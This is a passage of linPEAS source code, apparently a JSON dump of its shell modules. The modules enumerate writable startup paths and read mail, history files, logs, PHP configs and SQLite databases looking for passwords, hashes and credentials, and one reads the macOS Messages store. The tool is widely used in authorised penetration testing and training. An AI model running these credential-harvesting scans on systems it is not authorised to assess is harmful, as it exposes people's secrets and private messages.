do\n    if [ -f \"$l\" ] && [ -w \"$l\" ]; then echo \"You have write privileges over $l\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"; fi\n  done\n\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/7_Files_etc_profile_d.sh",
    "content": "# Title: Interesting Permissions Files - /etc/profile.d/\n# ID: IP_Files_etc_profile_d\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Files (scripts) in /etc/profile.d/\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1546.004\n# Functions Used: check_critial_root_path, echo_not_found, print_2title, print_info\n# Global Variables: $IAMROOT, $MACPEAS, $profiledG, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Files (scripts) in /etc/profile.d/\" \"T1546.004\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#profiles-files\"\n  if [ ! \"$MACPEAS\" ] && ! [ \"$IAMROOT\" ]; then #Those folders don´t exist on a MacOS\n    (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} \"s,$profiledG,${SED_GREEN},\") || echo_not_found \"/etc/profile.d/\"\n    check_critial_root_path \"/etc/profile\"\n    check_critial_root_path \"/etc/profile.d/\"\n  fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/8_Files_etc_init_d.sh",
    "content": "# Title: Interesting Permissions Files - /etc/profile.d/\n# ID: IP_Files_etc_init_d\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Permissions in init, init.d, systemd, and rc.d\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1543.002\n# Functions Used: check_critial_root_path, print_2title, print_info\n# Global Variables: $IAMROOT, $MACPEAS, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\nprint_2title \"Permissions in init, init.d, systemd, and rc.d\" \"T1543.002\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd\"\n  if [ ! \"$MACPEAS\" ] && ! [ \"$IAMROOT\" ]; then #Those folders don´t exist on a MacOS\n    check_critial_root_path \"/etc/init/\"\n    check_critial_root_path \"/etc/init.d/\"\n    check_critial_root_path \"/etc/rc.d/init.d\"\n    check_critial_root_path \"/usr/local/etc/rc.d\"\n    check_critial_root_path \"/etc/rc.d\"\n    check_critial_root_path \"/etc/systemd/\"\n    check_critial_root_path \"/lib/systemd/\"\n  fi\n\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/8_interesting_perms_files/9_App_armour_profiles.sh",
    "content": "# Title: Interesting Permissions Files - AppArmor profiles\n# ID: IP_App_armour_profiles\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: AppArmor profiles to prevent suid/capabilities abuse\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1518.001\n# Functions Used: print_2title\n# Global Variables: $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  if [ -d \"/etc/apparmor.d/\" ] && [ -r \"/etc/apparmor.d/\" ]; then\n    print_2title \"AppArmor binary profiles\" \"T1518.001\"\n    ls -l /etc/apparmor.d/ 2>/dev/null | grep -E \"^-\" | grep \"\\.\"\n    echo \"\"\n  fi\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/10_Others_homes.sh",
    "content": "# Title: Interesting Files - Files inside /home\n# ID: IF_Others_homes\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Files inside /home\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: echo_not_found, print_2title\n# Global Variables: $HOMESEARCH, $SEARCH_IN_FOLDER, $USER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Files inside others home (limit 20)\" \"T1552.001\"\n  (find $HOMESEARCH -type f 2>/dev/null | grep -v -i \"/\"$USER | head -n 20) || echo_not_found\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/11_Mail_apps.sh",
    "content": "# Title: Interesting Files - Mail applications\n# ID: IF_Mail_apps\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Mail applications\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1114.001\n# Functions Used: print_2title\n# Global Variables: $mail_apps, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Searching installed mail applications\" \"T1114.001\"\n  ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi \"$mail_apps\" | sort | uniq\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/12_Mails.sh",
    "content": "# Title: Interesting Files - Mails\n# ID: IF_Mails\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Mails\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1114.001\n# Functions Used: echo_not_found, print_2title\n# Global Variables: $knw_usrs ,$nosh_usrs , $SEARCH_IN_FOLDER, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Mails (limit 50)\" \"T1114.001\"\n  (find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} \"s,$sh_usrs,${SED_RED},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},g\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},g\" | sed \"s,root,${SED_GREEN},g\" | sed \"s,$USER,${SED_RED},g\") || echo_not_found\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/13_Backup_folders.sh",
    "content": "# Title: Interesting Files - Backup folders\n# ID: IF_Backup_folders\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Backup folders\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $DEBUG, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  if [ \"$PSTORAGE_BACKUPS\" ] || [ \"$DEBUG\" ]; then\n    print_2title \"Backup folders\" \"T1552.001\"\n    printf \"%s\\n\" \"$PSTORAGE_BACKUPS\" | while read b ; do\n      ls -ld \"$b\" 2> /dev/null | sed -${E} \"s,backups|backup,${SED_RED},g\";\n      ls -l \"$b\" 2>/dev/null && echo \"\"\n    done\n    echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/14_Backup_files.sh",
    "content": "# Title: Interesting Files - Backup files\n# ID: IF_Backup_files\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Backup files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $notExtensions, $ROOT_FOLDER, $notBackup\n# Initial Functions:\n# Generated Global Variables: $backs\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nprint_2title \"Backup files (limited 100)\" \"T1552.001\"\nbacks=$(find $ROOT_FOLDER -type f \\( -name \"*backup*\" -o -name \"*\\.bak\" -o -name \"*\\.bak\\.*\" -o -name \"*\\.bck\" -o -name \"*\\.bck\\.*\" -o -name \"*\\.bk\" -o -name \"*\\.bk\\.*\" -o -name \"*\\.old\" -o -name \"*\\.old\\.*\" \\) -not -path \"/proc/*\" 2>/dev/null)\nprintf \"%s\\n\" \"$backs\" | head -n 100 | while read b ; do\n  if [ -r \"$b\" ]; then\n    ls -l \"$b\" | grep -Ev \"$notBackup\" | grep -Ev \"$notExtensions\" | sed -${E} \"s,backup|bck|\\.bak|\\.old,${SED_RED},g\";\n  fi;\ndone\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/15_Db_files.sh",
    "content": "# Title: Interesting Files - DB files\n# ID: IF_Db_files\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching tables inside readable .db/.sql/.sqlite files\n# License: GNU GPL\n# Version: 1.0 \n# Mitre: T1005\n# Functions Used: print_2title\n# Global Variables: $DEBUG, $HOME, $MACPEAS\n# Initial Functions:\n# Generated Global Variables: $FILECMD, $SQLITEPYTHON, $tables, $columns, $INTCOLUMN\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ]; then\n  print_2title \"Reading messages database\" \"T1005\"\n  sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null\n  sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null\n  sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null\n\nfi\n\n\nif [ \"$PSTORAGE_DATABASE\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching tables inside readable .db/.sql/.sqlite files (limit 100)\" \"T1005\"\n  FILECMD=\"$(command -v file 2>/dev/null || echo -n '')\"\n  printf \"%s\\n\" \"$PSTORAGE_DATABASE\" | while read f; do\n    if [ \"$FILECMD\" ]; then\n      echo \"Found \"$(file \"$f\") | sed -${E} \"s,\\.db|\\.sql|\\.sqlite|\\.sqlite3,${SED_RED},g\";\n    else\n      echo \"Found $f\" | sed -${E} \"s,\\.db|\\.sql|\\.sqlite|\\.sqlite3,${SED_RED},g\";\n    fi\n  done\n  SQLITEPYTHON=\"\"\n  echo \"\"\n  printf \"%s\\n\" \"$PSTORAGE_DATABASE\" | while read f; do\n    if ([ -r \"$f\" ] && [ \"$FILECMD\" ] && file \"$f\" | grep -qi sqlite) || ([ -r \"$f\" ] && [ ! \"$FILECMD\" ]); then #If readable and filecmd and sqlite, or readable and not filecmd\n      if [ \"$(command -v sqlite3 2>/dev/null || echo -n '')\" ]; then\n        tables=$(sqlite3 $f \".tables\" 2>/dev/null)\n        #printf \"$tables\\n\" | sed \"s,user.*\\|credential.*,${SED_RED},g\"\n      elif [ \"$(command -v python 2>/dev/null || echo -n '')\" ] || [ \"$(command -v python3 2>/dev/null || echo -n '')\" ]; then\n        SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null || echo -n '')\n        tables=$($SQLITEPYTHON -c \"print('\\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\\'table\\' and tbl_name NOT like \\'sqlite_%\\';').fetchall()]))\" 2>/dev/null)\n        #printf \"$tables\\n\" | sed \"s,user.*\\|credential.*,${SED_RED},g\"\n      else\n        tables=\"\"\n      fi\n      if [ \"$tables\" ] || [ \"$DEBUG\" ]; then\n          printf $GREEN\" -> Extracting tables from$NC $f $DG(limit 20)\\n\"$NC\n          printf \"%s\\n\" \"$tables\" | while read t; do\n          columns=\"\"\n          # Search for credentials inside the table using sqlite3\n          if [ -z \"$SQLITEPYTHON\" ]; then\n            columns=$(sqlite3 $f \".schema $t\" 2>/dev/null | grep \"CREATE TABLE\")\n          # Search for credentials inside the table using python\n          else\n            columns=$($SQLITEPYTHON -c \"print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\\'meta\\' AND sql NOT NULL AND name =\\'$t\\';').fetchall()[0][0])\" 2>/dev/null)\n          fi\n          #Check found columns for interesting fields\n          INTCOLUMN=$(echo \"$columns\" | grep -i \"username\\|passw\\|credential\\|email\\|hash\\|salt\")\n          if [ \"$INTCOLUMN\" ]; then\n            printf ${BLUE}\"  --> Found interesting column names in$NC $t $DG(output limit 10)\\n\"$NC | sed -${E} \"s,user.*|credential.*,${SED_RED},g\"\n            printf \"$columns\\n\" | sed -${E} \"s,username|passw|credential|email|hash|salt|$t,${SED_RED},g\"\n            (sqlite3 $f \"select * from $t\" || $SQLITEPYTHON -c \"print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \\'$t\\';').fetchall()[0]]))\") 2>/dev/null | head\n            echo \"\"\n          fi\n        done\n      fi\n    fi\n  done\nfi\necho \"\"\n\nif [ \"$MACPEAS\" ]; then\n  print_2title \"Downloaded Files\" \"T1005\"\n  sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, \"unixepoch\") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev \"\\|\\|\\|\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/16_Macos_downloaded_files.sh",
    "content": "# Title: Interesting Files - DB files\n# ID: IF_Macos_downloaded_files\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check which files have been downloaded\n# License: GNU GPL\n# Version: 1.0 \n# Mitre: T1005\n# Functions Used: print_2title\n# Global Variables: $MACPEAS\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ]; then\n  print_2title \"Downloaded Files\" \"T1005\"\n  sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, \"unixepoch\") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev \"\\|\\|\\|\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/17_Web_files.sh",
    "content": "# Title: Interesting Files - Web files\n# ID: IF_Web_files\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Web files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1005\n# Functions Used:  print_2title\n# Global Variables: $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Web files?(output limit)\" \"T1005\"\n  ls -alhR /var/www/ 2>/dev/null | head\n  ls -alhR /srv/www/htdocs/ 2>/dev/null | head\n  ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head\n  ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/18_Hidden_files.sh",
    "content": "# Title: Interesting Files - All hidden files\n# ID: IF_Hidden_files\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get all relevant hidden files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1564.001\n# Functions Used: print_2title\n# Global Variables:$INT_HIDDEN_FILES, $ROOT_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nprint_2title \"All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)\" \"T1564.001\"\nfind $ROOT_FOLDER -type f -iname \".*\" ! -path \"/sys/*\" ! -path \"/System/*\" ! -path \"/private/var/*\" -exec ls -l {} \\; 2>/dev/null | grep -Ev \"$INT_HIDDEN_FILES\" | grep -Ev \"_history$|\\.gitignore|.npmignore|\\.listing|\\.ignore|\\.uuid|\\.depend|\\.placeholder|\\.gitkeep|\\.keep|\\.keepme|\\.travis.yml\" | head -n 70\necho \"\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/19_Readable_files_tmp_backups.sh",
    "content": "# Title: Interesting Files - Readable files in /tmp, /var/tmp, backups\n# ID: IF_Readable_files_tmp_backups\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Readable files in /tmp, /var/tmp, backups\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $backup_folders_row, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables: $filstmpback\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)\" \"T1552.001\"\n  filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev \"dpkg\\.statoverride\\.|dpkg\\.status\\.|apt\\.extended_states\\.|dpkg\\.diversions\\.\" | head -n 70)\n  printf \"%s\\n\" \"$filstmpback\" | while read f; do if [ -r \"$f\" ]; then ls -l \"$f\" 2>/dev/null; fi; done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh",
    "content": "# Title: Interesting Files - .sh files in path\n# ID: IF_Sh_files_in_PATH\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: finds .sh files in path\n# License: GNU GPL\n# Version: 1.0 \n# Mitre: T1574.007\n# Functions Used: print_2title, print_info\n# Global Variables: $DEBUG, $IAMROOT, $SEARCH_IN_FOLDER, $shscripsG, $Wfolders, $PATH\n# Initial Functions:\n# Generated Global Variables: $broken_links\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \".sh files in path\" \"T1574.007\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path\"\n  echo $PATH | tr \":\" \"\\n\" | while read d; do\n    for f in $(find \"$d\" -name \"*.sh\" -o -name \"*.sh.*\" 2>/dev/null); do\n      if ! [ \"$IAMROOT\" ] && [ -O \"$f\" ]; then\n        echo \"You own the script: $f\" | sed -${E} \"s,.*,${SED_RED},\"\n      elif ! [ \"$IAMROOT\" ] && [ -w \"$f\" ]; then #If write permision, win found (no check exploits)\n        echo \"You can write script: $f\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n      else\n        echo $f | sed -${E} \"s,$shscripsG,${SED_GREEN},\" | sed -${E} \"s,$Wfolders,${SED_RED},\";\n      fi\n    done\n  done\n  echo \"\"\n\n  broken_links=$(find \"$d\" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)\n  if [ \"$broken_links\" ] || [ \"$DEBUG\" ]; then \n    print_2title \"Broken links in path\" \"T1574.007\"\n    echo $PATH | tr \":\" \"\\n\" | while read d; do\n      find \"$d\" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} \"s,broken,${SED_RED},\";\n    done\n    echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/20_Passwords_history_cmd.sh",
    "content": "# Title: Interesting Files - Passwords in history cmd\n# ID: IF_Passwords_history_cmd\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Passwords in history cmd\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $DEBUG, $pwd_inside_history\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$(history 2>/dev/null)\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching passwords in history cmd\" \"T1552.001\"\n  history | grep -Ei \"$pwd_inside_history\" \"$f\" 2>/dev/null | sed -${E} \"s,$pwd_inside_history,${SED_RED},\"\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/21_Passwords_history_files.sh",
    "content": "# Title: Interesting Files - Passwords in history files\n# ID: IF_Passwords_history_files\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Passwords in history files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $DEBUG, $pwd_inside_history\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$PSTORAGE_HISTORY\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching passwords in history files\" \"T1552.001\"\n  printf \"%s\\n\" \"$PSTORAGE_HISTORY\" | while read f; do grep -EiH \"$pwd_inside_history\" \"$f\" 2>/dev/null | sed -${E} \"s,$pwd_inside_history,${SED_RED},\"; done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/22_Passwords_php_files.sh",
    "content": "# Title: Interesting Files - passwords in config PHP files\n# ID: IF_Passwords_php_files\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching passwords in config PHP files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$PSTORAGE_PHP_FILES\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching passwords in config PHP files\" \"T1552.001\"\n  printf \"%s\\n\" \"$PSTORAGE_PHP_FILES\" | while read c; do grep -EiIH \"(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\\('(\\w*passw|\\w*user|\\w*datab)\" \"$c\" 2>/dev/null | grep -Ev \"function|password.*= ?\\\"\\\"|password.*= ?''\" | sed '/^.\\{150\\}./d' | sort | uniq | sed -${E} \"s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g\"; done\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/23_Passwords_files_home.sh",
    "content": "# Title: Interesting Files - Passwords files in home\n# ID: IF_Passwords_files_home\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Passwords files in home\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: echo_not_found, print_2title\n# Global Variables: $DEBUG\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$PSTORAGE_PASSWORD_FILES\" ] || [ \"$DEBUG\" ]; then\n  print_2title \"Searching *password* or *credential* files in home (limit 70)\" \"T1552.001\"\n  (printf \"%s\\n\" \"$PSTORAGE_PASSWORD_FILES\" | grep -v \"/snap/\" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=\"\"; act=$0; if (cont < 3){ print line_init; } if (cont == \"3\"){print \"  #)There are more creds/passwds files in the previous parent folder\\n\"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} \"s,password|credential,${SED_RED},\" | sed \"s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,\") || echo_not_found\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/24_Passwords_TTY.sh",
    "content": "# Title: Interesting Files - TTY passwords\n# ID: IF_Passwords_TTY\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: TTY passwords\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Checking for TTY (sudo/su) passwords in audit logs\" \"T1552.001\"\n  aureport --tty 2>/dev/null | grep -E \"su |sudo \" | sed -${E} \"s,su|sudo,${SED_RED},g\"\n  find /var/log/ -type f -exec grep -RE 'comm=\"su\"|comm=\"sudo\"' '{}' \\; 2>/dev/null | sed -${E} \"s,\\\"su\\\"|\\\"sudo\\\",${SED_RED},g\" | sed -${E} \"s,data=.*,${SED_RED},g\"\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/25_IPs_logs.sh",
    "content": "# Title: Interesting Files - TTY passwords\n# ID: IF_IPs_logs\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get TTY passwords\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1083\n# Functions Used: print_2title\n# Global Variables: $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Checking for TTY (sudo/su) passwords in audit logs\" \"T1083\"\n  aureport --tty 2>/dev/null | grep -E \"su |sudo \" | sed -${E} \"s,su|sudo,${SED_RED},g\"\n  find /var/log/ -type f -exec grep -RE 'comm=\"su\"|comm=\"sudo\"' '{}' \\; 2>/dev/null | sed -${E} \"s,\\\"su\\\"|\\\"sudo\\\",${SED_RED},g\" | sed -${E} \"s,data=.*,${SED_RED},g\"\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/26_Mails_addr_inside_logs.sh",
    "content": "# Title: Interesting Files - Emails inside logs\n# ID: IF_Mails_addr_inside_logs\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Emails inside logs\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1114.001\n# Functions Used: print_2title\n# Global Variables: $DEBUG, $knw_emails, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$DEBUG\" ] || ( ! [ \"$FAST\" ] && ! [ \"$SUPERFAST\" ] && ! [ \"$SEARCH_IN_FOLDER\" ] ); then\n  print_2title \"Searching emails inside logs (limit 70)\" \"T1114.001\"\n  (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o \"\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,6}\\b\" \"{}\" \\;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} \"s,$knw_emails,${SED_GREEN},g\"\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/27_Passwords_in_logs.sh",
    "content": "# Title: Interesting Files - Passwords inside logs\n# ID: IF_Passwords_in_logs\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Passwords inside logs\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Searching passwords inside logs (limit 70)\" \"T1552.001\"\n  (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -H -i \"pwd\\|passw\" \"{}\" \\;) 2>/dev/null | sed '/^.\\{150\\}./d' | sort | uniq | grep -v \"File does not exist:\\|modules-config/config-set-passwords\\|config-set-passwords already ran\\|script not found or unable to stat:\\|\\\"GET /.*\\\" 404\" | head -n 70 | sed -${E} \"s,pwd|passw,${SED_RED},\"\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/9_interesting_files/28_Files_with_passwords.sh",
    "content": "# Title: Interesting Files - Executable files with passwords\n# ID: IF_Files_with_passwords\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Searching possible password variables inside key folders and config files\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1552.001\n# Functions Used: print_2title\n# Global Variables: $HOMESEARCH,$ITALIC, $pwd_in_variables1, $pwd_in_variables2, $pwd_in_variables3, $pwd_in_variables4, $pwd_in_variables5, $pwd_in_variables6, $pwd_in_variables7, $pwd_in_variables8, $pwd_in_variables9, $pwd_in_variables10, $pwd_in_variables11, $SEARCH_IN_FOLDER, $TIMEOUT, $backup_folders_row\n# Initial Functions:\n# Generated Global Variables: $ppicf\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$FAST\" ] && ! [ \"$SUPERFAST\" ] && [ \"$TIMEOUT\" ]; then\n\n  ##-- IF) Find possible files with passwords\n  print_2title \"Searching possible password variables inside key folders (limit 140)\" \"T1552.001\"\n  if ! [ \"$SEARCH_IN_FOLDER\" ]; then\n    timeout 150 find $HOMESEARCH -exec grep -HnRiIE \"($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+\" '{}' \\; 2>/dev/null | sed '/^.\\{150\\}./d' | grep -Ev \"^#\" | grep -iv \"linpeas\" | sort | uniq | head -n 70 | sed -${E} \"s,$pwd_in_variables1,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables2,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables3,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables4,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables5,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables6,${SED_RED},g\" | sed -${E} \"s,$pwd_in_variables7,${SED_RED},g\" | sed -${E} 